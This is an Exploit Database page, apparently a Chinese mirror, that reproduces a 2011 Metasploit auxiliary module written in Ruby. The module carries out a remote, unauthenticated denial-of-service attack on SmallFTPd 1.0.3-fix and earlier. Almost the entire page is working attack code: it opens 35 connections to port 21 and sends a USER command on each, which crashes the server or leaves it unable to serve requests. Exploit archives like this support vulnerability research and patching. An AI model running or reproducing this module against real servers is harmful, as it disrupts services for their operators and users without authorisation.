SmallFTPd 1.0.3 – Denial of Service

• Exploit Database
• 11 阅读

• 作者： Myo Soe
  日期： 2011-06-27
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17455/

• # Exploit Title: smallFTPD Connection Saturation Remote Denial of Service
  # Date: June 27, 2011
  # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
  # Software Link: http://smallftpd.sf.net
  # Version: 1.0.3-fix and earlier
  # Tested on: windows xp, seven, 2k3
  
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Auxiliary
  
  	include Msf::Exploit::Remote::Tcp				
  	include Msf::Auxiliary::Dos
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'smallFTPD Connection Saturation Remote Denial of Service',
  			'Description'	=> %q{
  				This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTPrequests, which can be verified only through a valid login.
  			},
  			'Author' 		=> [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
  			'License'	=> MSF_LICENSE,
  			'Version'	=> '$Revision:$',
  			'References' =>
  				[
  					[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
  				],
  			'DisclosureDate' => 'June 2010'))
  
  			register_options(
  				[
  					Opt::RPORT(21)
  				],self.class)
  	end
  
  	def run
  
  		print_status("Sending DOS Packets ...")
  		
  		35.times do |x|
  			connect
  			sock.put("USER CRASHED\r\n")			
  			disconnect
  		end
  		
  		print_good("Done")			
  
  	end
  
  end